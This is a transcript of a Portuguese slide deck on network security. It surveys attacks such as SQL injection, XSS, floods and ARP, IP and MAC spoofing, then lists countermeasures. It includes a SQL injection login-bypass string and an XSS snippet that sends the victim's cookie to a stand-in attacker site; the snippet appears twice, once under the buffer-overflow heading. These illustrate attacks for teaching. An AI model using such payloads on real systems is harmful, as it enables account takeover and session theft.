Segurança de-redes

Post on 07-Jul-2015

973 views 1 download

Transcript of Segurança de-redes

Segurança de redes não é coisa de moleque!

Leandro Almeidalcavalcanti.almeida@gmail.comwww.leandrocalmeida.com

- Professor Universitário- IFPB- Estácio (iDEZ)

-Especialista em Segurança da Informação-Mestrando em Informática- Certificado ITILv3- Fedora Ambassadors- Sócio-diretor da YouTI

Nosso chefe sempre tem um sobrinho que resolve tudo de informática!

Eu tenho um sobrinho que instala um antivírus que é uma beleza!

E o melhor é que eu não gasto nada

O problema é que os sobrinhos não aguentam o tranco!

Integridade Confidencialidade Disponibilidade

Segurança da Informação

Tecnologia da Informação

Negócios

Pessoas Processos Tecnologias

Negócios

Segurança da Informação

Segurança de

Redes

Fonte: www.cert.br

Incidentes de Segurança

Aplicações em rede precisam obedecer o Modelo de Camadas

Aplicação

Apresentação

Sessão

Transporte

Rede

Enlace

Física

Rede

Enlace

Física

Aplicação

Transporte

Modelo OSI Modelo TCP/IP

Ataques – Redes de Computadores

- Engenharia Social- ARP Spoofing - DoS / DDoS / DoS Layer 7 - Sql Injection- XSS- MAC Spoofing- IP Spoofing- Website Defacement- Pragas Virtuais (Vírus, Worms,...)

Aplicação

Transporte

Rede

Enlace

Físico

AtaquesSql Injection DoS HTTP

XSSBuffer Overflow

TCP SYN FLOOD UDP FLOODMain in the Middle

IP Spoofing ICMP Flooding

ARP Spoofing

MAC Spoofing

STP Attack

ARP Poisoning

SQL InjectionEx : Sistema de autenticação em PHP

Imagine se o usuário inserir os dados abaixo...Login: qualquer coisaSenha: ' OR '1'='1

SELECT * FROM usuarios WHERE login='qualquer coisa' AND senha = '' OR '1'='1'

Essa query SQL retornará todos os registros da tabela usuários!

http://www.computerworld.com/s/article/9215249/MySQL_Web_site_falls_victim_to_SQL_injection_attack

SQL InjectionCasos Reais

Website Mysql

Sonyhttp://www.bbc.co.uk/news/technology-13642145

Distrito Federalhttp://www.linhadefensiva.org/2008/05/ataques-de-sql-injection-atingem-sites-brasileiros/

XSS Suposição:Facebook vulnerável a Cross-Site Scripting

Insere um código(html, Javascript,...) malicioso no lugar de um post na base de dados do facebook

Usuário ingênuo clica no link...

<script>Document.location = 'http://sitedocracker.com/roubarcokkies.php=' + document.cookie

</script>

XSSCasos Reais

DoS HTTP GET SYN

SYN-ACK

ACK

GET /index.php

ACK

Pragma: 1010

...Erro 408 – Request Timeout

História...- Avenge Assange – 2010 (Prisão de Julian Assange - Wikileaks)

– Alvo: Mastecard- Sony – 2011 (Sony processou a GEOHOT pelo desbloqueio do PS3)

- Alvo: PSN (77 milhões de pessoas sem PSN)- Megaupload – 2012 (Prisão de Kim Dotcom)

- Alvo: FBI

DoS HTTP GETEstatísticas - CPU

DoS HTTP GETEstatísticas - CPU

DoS HTTP GETEstatísticas - Memória

DoS HTTP GETEstatísticas - Conexões

DoS HTTP POST SYN

SYN-ACK

ACK

POST / inserir.html

ACK

Continuação do POST

...Erro 400 – Bad Request

Buffer Overflow

<script>Document.location = 'http://sitedocracker.com/roubarcokkies.php=' + document.cookie

</script>

char nome[4]; int idade;

L E O \0 2 0Entrada: LEO idade: 20

char nome[4]; int idade;

L E O A \0Entrada: LEOOA idade: 65

O

Buffer OverflowCasos Reais

Ataques ao SSH- CERT Advisory CA-2002-18 OpenSSH Vulnerabilities in Challenge Response Handling- USN-649-1: Openssh Vulnerabilities- Openssh Security Advisory: cbc.adv – Plaintext Recovery Attack Against SSH CPNI-957037- CPNI Vulnerability Advisory SSH – CPNI-957037- Openssh vulnerability CVE-2008-0166, http://www.ubuntu.com/usn/usn-612-1

TCP SYN FLOOD

SYN

SYN-ACK

SYN

SYNSYNSYNSYNSYN

UDP FLOOD

UDP – porta qualquer

UDP – porta qualquer

UDP – porta qualquer

UDP – porta qualquer

UDP – porta qualquer

UDP – porta qualquer

Main in the Middle

Packet

Packet

Packet

Packet

IP Spoofing Packet

10.0.0.1

10.0.0.254

10.0.0.1

Packet

Packet

Packet

Packet

Atacante envia pacotes IP falsificados para a vítima, se passando por outro host na rede!

Packet

ICMP Flooding

ICMP – echo request

ICMP – echo request

ICMP – echo request

ICMP – echo request

ICMP – echo request

ICMP – echo request

Spanning Tree Attack

VLAN 1

VLAN 1

VLAN 2VLAN 1 VLAN 2VLAN 3

VLAN 1VLAN 2

Packet

PacketPacketPacket

Packet

Packet

Packet

Packet

PacketPacketPacketPacketPacket

Atacante se torna Root bridge

ARP SpoofingPacket

IP: 10.0.0.1MAC: 68:A3:C4:9B:73:54

IP: 10.0.0.254MAC: 52:54:00:69:42:4A

IP: 10.0.0.2MAC:68:A3:C4:9B:73:54

Packet

Packet

Packet

Packet

Atacante envia pacotes ARP falsificados para a vítima, se passando por outro host na rede!

Packet

arpspoof

ARP Poisoning

IP: 10.0.0.1MAC:68:A3:C4:9B:73:54

IP: 10.0.0.254MAC: 52:54:00:69:42:4A

IP: 10.0.0.2MAC: 68:A3:C4:9B:73:54

Packet

1 MAC2 MAC3 MAC4 MAC5 MAC6 MAC

Atacante envenena a tabela ARP do Switch

MAC Spoofing Packet

68:A3:C4:9B:73:54

52:54:00:69:42:4A

68:A3:C4:9B:73:54

Packet

Packet

Packet

Packet

Atacante envia pacotes com endereço MAC falsificado para a vítima, se passando por outro host na rede!

Como se proteger ?

Como se proteger ?- XSS e SQL Injection

- Filtrar os dados de entrada

- filter_input (PHP)

- Escapar os dados de saída

- MySQL: mysql_real_escape_string()

- PostgreSQL: pg_escape_string()

- htmlentities,htmlespecialchars

- Procure saber sobre o que é OWASP

Como se proteger ?- Buffer Overflow

- Filtrar os dados de entrada

- Verificar se a linguagem não checa se um número maior de dados pode ser armazenado em um buffer

- No exemplo citado, use software original e o mantenha sempre atualizado

Como se proteger ?- Ataques ao SSH

- Single Packet Authorization

iptables -A INPUT -i eth0 -p tcp –dport 22 -j REJECT

iptables -A INPUT -i eth0 -p tcp –dport 22 -s 10.0.0.1 -j ACCEPT

ssh

ssh connection refused

LIBPCAP

ssh

ssh connection accept

SPA Packet

Como se proteger ?- DoS HTTP GET/POST

Tentativas...

- TCP SYN Cookies- echo 1 > /proc/sys/net/ipv4/tcp_syncookies

- Instalar o mod_qos no Apache

Como se proteger ?- TCP/UDP/ICMP Flood

Existem tentativas de soluções com o módulo “limit” do iptables...

Como se proteger ?- IP Spoofing

- Ativar o rp_filter(Reverse Path) via kernel

Echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter

- Rejeita os pacotes quando a rota de saída difere da rota de entrada

Como se proteger ?- ARP Poisoning/Spoofing

- Uso do Port Security

- Mac Biding (atrelar MAC a IP)

- Uso de ferramentas como rarp / arpwatch

Perguntas ?

Vida longa e próspera!

Obrigado!Contatos:

lcavalcanti.almeida@gmail.com

www.leandrocalmeida.com

@leandrocalmeida

www.fb.com/leandrocalmeida